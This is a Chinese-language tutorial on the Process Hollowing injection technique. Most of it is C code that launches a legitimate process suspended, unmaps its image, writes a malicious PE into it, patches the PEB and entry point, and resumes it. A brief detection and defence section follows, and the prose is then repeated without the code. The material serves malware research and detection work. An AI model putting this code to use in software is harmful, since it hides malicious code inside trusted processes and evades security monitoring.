Process Hollowing学习与研究
字数 1229 2025-08-06 18:08:11

Process Hollowing(傀儡进程)技术详解

0x00 前言与基础概念

Process Hollowing(进程镂空/傀儡进程)是一种进程注入技术,通过创建挂起的目标进程,替换其内存中的程序映像为恶意代码,从而实现合法进程执行恶意代码的目的。

关键基础概念

  1. 线程与CONTEXT结构

    • 线程切换时需要保存寄存器状态
    • CONTEXT结构保存线程的各种寄存器数据
    • 包含EAX、EBX、ECX等寄存器值
    • ContextFlags指定需要保存/恢复哪些寄存器
  2. PE文件关键信息

    • ImageBase:程序运行时基址(默认加载地址)
    • AddressOfEntryPoint:程序入口点偏移(RVA)
    • SizeOfImage:程序在内存中的总大小
    • 实际入口地址 = ImageBase + AddressOfEntryPoint
  3. 重定位表

    • 当程序无法加载到ImageBase时使用
    • 修正全局变量和函数的绝对地址
    • 结构体定义:
      typedef struct _IMAGE_BASE_RELOCATION {
          DWORD VirtualAddress;  // 当前块的RVA
          DWORD SizeOfBlock;     // 当前块大小
          // WORD TypeOffset[1]; // 偏移数组
      } IMAGE_BASE_RELOCATION;
      
    • 每个偏移占2字节(16位),高4位为类型(3表示有效),低12位为偏移值

0x01 Process Hollowing原理

核心思想:创建挂起的合法进程 → 卸载其内存映像 → 注入恶意代码 → 恢复执行

完整流程:

  1. 读取恶意程序到内存
  2. 为目标程序创建挂起进程
  3. 获取挂起进程的线程上下文
  4. 卸载目标程序在内存中的映像
  5. 解析恶意程序的PE信息
  6. 在目标进程空间中申请内存
  7. 将恶意程序写入目标进程
  8. 修改线程上下文,设置新入口点
  9. 恢复线程执行

0x02 技术实现详解

1. 创建挂起进程

STARTUPINFOW st = {0};
st.cb = sizeof(st);
PROCESS_INFORMATION info = {0};
CreateProcessW(
    path,               // 目标程序路径
    NULL,               // 命令行参数
    NULL,               // 进程安全属性
    NULL,               // 线程安全属性
    NULL,               // 句柄继承选项
    CREATE_SUSPENDED,   // 创建标志(挂起)
    NULL,               // 环境块
    NULL,               // 当前目录
    &st,                // STARTUPINFO
    &info               // PROCESS_INFORMATION
);

2. 获取线程上下文

CONTEXT context = {0};
context.ContextFlags = CONTEXT_FULL;  // 获取所有寄存器
GetThreadContext(info.hThread, &context);

3. 卸载原程序映像

使用ZwUnmapViewOfSection卸载目标进程的原始映像:

typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(HANDLE, PVOID);
pZwUnmapViewOfSection UnmapViewOfSection = 
    (pZwUnmapViewOfSection)GetProcAddress(LoadLibraryW(L"ntdll"), "ZwUnmapViewOfSection");
UnmapViewOfSection(info.hProcess, (PVOID)shell.ImageBase);

4. 内存分配与注入

情况1:能在原ImageBase分配内存

PVOID imagebuffer = VirtualAllocEx(
    info.hProcess,           // 目标进程
    (PVOID)src.ImageBase,    // 首选地址
    src.SizeOfImage,         // 大小
    MEM_COMMIT|MEM_RESERVE,  // 分配类型
    PAGE_EXECUTE_READWRITE   // 内存保护
);

if(imagebuffer != NULL) {
    // 写入恶意代码
    WriteProcessMemory(info.hProcess, imagebuffer, Imagebuffer, src.SizeOfImage, NULL);
    
    // 修改PEB中的ImageBase
    WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &imagebuffer, 4, NULL);
    
    // 设置新入口点
    context.Eax = src.Oep + (DWORD)imagebuffer;
    SetThreadContext(info.hThread, &context);
    ResumeThread(info.hThread);
}

情况2:需要重定位

if(src.ReCode == 0x1) {  // 检查重定位表
    PVOID n_buffer = VirtualAllocEx(
        info.hProcess, 
        NULL,  // 由系统决定地址
        src.SizeOfImage, 
        MEM_COMMIT|MEM_RESERVE, 
        PAGE_EXECUTE_READWRITE
    );
    
    // 修复重定位
    PatchRe((DWORD)n_buffer, (PBYTE)buffer);
    
    // 写入并恢复执行(同上)
    // ...
}

5. 重定位修复实现

DWORD PatchRe(DWORD newImageBase, PBYTE ptr) {
    // 获取PE头信息
    PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)ptr;
    PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(ptr + Dos->e_lfanew);
    PIMAGE_OPTIONAL_HEADER Option = (PIMAGE_OPTIONAL_HEADER)(ptr + Dos->e_lfanew + 24);
    PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)IMAGE_FIRST_SECTION(Nt) - 128);
    
    // 定位重定位表
    PIMAGE_BASE_RELOCATION Relocation = 
        (PIMAGE_BASE_RELOCATION)(ptr + rtf((char*)ptr, Data[5].VirtualAddress));
    
    DWORD nImageBase = newImageBase - Option->ImageBase;
    Option->ImageBase = newImageBase;  // 更新ImageBase
    
    // 遍历重定位块
    for(; Relocation->VirtualAddress && Relocation->SizeOfBlock;) {
        DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
        PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
        
        // 处理每个偏移
        for(DWORD j = 0; j < RecCount; j++) {
            if(RecAdd[j] >> 12 == 3) {  // 检查类型
                DWORD RecAdd2 = RecAdd[j] & 0x0fff;  // 获取偏移
                DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
                PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
                *RecAdd4 = *RecAdd4 + nImageBase;  // 修正地址
            }
        }
        Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
    }
    return 1;
}

0x03 关键辅助函数

1. 文件读取到内存

PVOID ReadFile2Memory(LPCWSTR path) {
    HANDLE hFile = CreateFileW(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD Size = GetFileSize(hFile, NULL);
    PVOID buffer = VirtualAlloc(NULL, Size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    ReadFile(hFile, buffer, Size, &ReadByte, NULL);
    return buffer;
}

2. 获取PE信息

DWORD GetPeInfo(PBYTE buffer, PDWORD Imagebase, PDWORD Oep, PDWORD SizeOfImage, PCHAR ReCode) {
    PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)buffer;
    PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(buffer + Dos->e_lfanew);
    PIMAGE_OPTIONAL_HEADER32 Option = (PIMAGE_OPTIONAL_HEADER32)(buffer + Dos->e_lfanew + 24);
    
    *Imagebase = Option->ImageBase;
    *Oep = Option->AddressOfEntryPoint;
    *SizeOfImage = Option->SizeOfImage;
    
    // 检查重定位表
    PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)IMAGE_FIRST_SECTION(Nt) - 128);
    *ReCode = (Data[5].VirtualAddress && Data[5].Size) ? 0x1 : 0x0;
    
    return 0;
}

3. FileBuffer转ImageBuffer

PVOID F2i(PBYTE filebuffer) {
    // 获取PE信息
    PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)filebuffer;
    PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(filebuffer + Dos->e_lfanew);
    PIMAGE_OPTIONAL_HEADER32 Option = (PIMAGE_OPTIONAL_HEADER32)(filebuffer + Dos->e_lfanew + 24);
    
    // 分配内存
    PBYTE buffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Option->SizeOfImage);
    
    // 复制PE头
    memcpy(buffer, Dos, Option->SizeOfHeaders);
    
    // 复制各节区
    PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
    for(int i = 0; i < Nt->FileHeader.NumberOfSections; i++) {
        memcpy(
            (LPVOID)((DWORD)buffer + Sec[i].VirtualAddress),
            (LPVOID)((DWORD)filebuffer + Sec[i].PointerToRawData),
            Sec[i].SizeOfRawData
        );
    }
    return buffer;
}

4. RVA转FOA

DWORD rtf(char* buffer, DWORD rva) {
    // 获取PE信息
    PIMAGE_DOS_HEADER doshd = (PIMAGE_DOS_HEADER)buffer;
    PIMAGE_NT_HEADERS nthd = (PIMAGE_NT_HEADERS)(buffer + doshd->e_lfanew);
    PIMAGE_OPTIONAL_HEADER32 optionhd = (PIMAGE_OPTIONAL_HEADER32)(buffer + doshd->e_lfanew + 24);
    PIMAGE_SECTION_HEADER sectionhd = IMAGE_FIRST_SECTION(nthd);
    
    // 检查是否在头部
    if(rva < optionhd->SizeOfHeaders) return rva;
    
    // 查找对应节区
    for(int i = 0; i < nthd->FileHeader.NumberOfSections; i++) {
        if(rva >= sectionhd[i].VirtualAddress && 
           rva <= sectionhd[i].VirtualAddress + sectionhd[i].SizeOfRawData) {
            return rva - sectionhd[i].VirtualAddress + sectionhd[i].PointerToRawData;
        }
    }
    return 0;
}

0x04 检测与防御

检测方法

  1. 监控关键API调用

    • ZwUnmapViewOfSection的调用
    • 对合法进程的内存替换操作
  2. 行为分析

    • 进程创建后立即挂起
    • 进程内存被大量修改
    • 入口点被修改
  3. 内存特征检测

    • 检查PE头是否完整
    • 验证内存中的PE签名

防御措施

  1. 代码签名验证

    • 验证进程内存中的代码签名
    • 检查代码完整性
  2. 进程行为监控

    • 监控进程的异常行为
    • 检测可疑的内存操作
  3. 使用ASLR

    • 加强地址空间布局随机化
    • 增加重定位难度

0x05 总结

Process Hollowing是一种高级的进程注入技术,具有以下特点:

  1. 隐蔽性强:利用合法进程作为载体
  2. 绕过检测:可绕过基于进程名的检测
  3. 技术要求高:需要处理PE结构、重定位等复杂问题
  4. 检测难点:监控ZwUnmapViewOfSection是关键

理解这一技术不仅有助于安全研究人员检测恶意软件,也能帮助开发人员加强应用程序的安全性。

Process Hollowing(傀儡进程)技术详解 0x00 前言与基础概念 Process Hollowing(进程镂空/傀儡进程)是一种进程注入技术,通过创建挂起的目标进程,替换其内存中的程序映像为恶意代码,从而实现合法进程执行恶意代码的目的。 关键基础概念 线程与CONTEXT结构 线程切换时需要保存寄存器状态 CONTEXT结构保存线程的各种寄存器数据 包含EAX、EBX、ECX等寄存器值 ContextFlags指定需要保存/恢复哪些寄存器 PE文件关键信息 ImageBase :程序运行时基址(默认加载地址) AddressOfEntryPoint :程序入口点偏移(RVA) SizeOfImage :程序在内存中的总大小 实际入口地址 = ImageBase + AddressOfEntryPoint 重定位表 当程序无法加载到ImageBase时使用 修正全局变量和函数的绝对地址 结构体定义: 每个偏移占2字节(16位),高4位为类型(3表示有效),低12位为偏移值 0x01 Process Hollowing原理 核心思想:创建挂起的合法进程 → 卸载其内存映像 → 注入恶意代码 → 恢复执行 完整流程: 读取恶意程序到内存 为目标程序创建挂起进程 获取挂起进程的线程上下文 卸载目标程序在内存中的映像 解析恶意程序的PE信息 在目标进程空间中申请内存 将恶意程序写入目标进程 修改线程上下文,设置新入口点 恢复线程执行 0x02 技术实现详解 1. 创建挂起进程 2. 获取线程上下文 3. 卸载原程序映像 使用 ZwUnmapViewOfSection 卸载目标进程的原始映像: 4. 内存分配与注入 情况1:能在原ImageBase分配内存 情况2:需要重定位 5. 重定位修复实现 0x03 关键辅助函数 1. 文件读取到内存 2. 获取PE信息 3. FileBuffer转ImageBuffer 4. RVA转FOA 0x04 检测与防御 检测方法 监控关键API调用 ZwUnmapViewOfSection 的调用 对合法进程的内存替换操作 行为分析 进程创建后立即挂起 进程内存被大量修改 入口点被修改 内存特征检测 检查PE头是否完整 验证内存中的PE签名 防御措施 代码签名验证 验证进程内存中的代码签名 检查代码完整性 进程行为监控 监控进程的异常行为 检测可疑的内存操作 使用ASLR 加强地址空间布局随机化 增加重定位难度 0x05 总结 Process Hollowing是一种高级的进程注入技术,具有以下特点: 隐蔽性强 :利用合法进程作为载体 绕过检测 :可绕过基于进程名的检测 技术要求高 :需要处理PE结构、重定位等复杂问题 检测难点 :监控 ZwUnmapViewOfSection 是关键 理解这一技术不仅有助于安全研究人员检测恶意软件,也能帮助开发人员加强应用程序的安全性。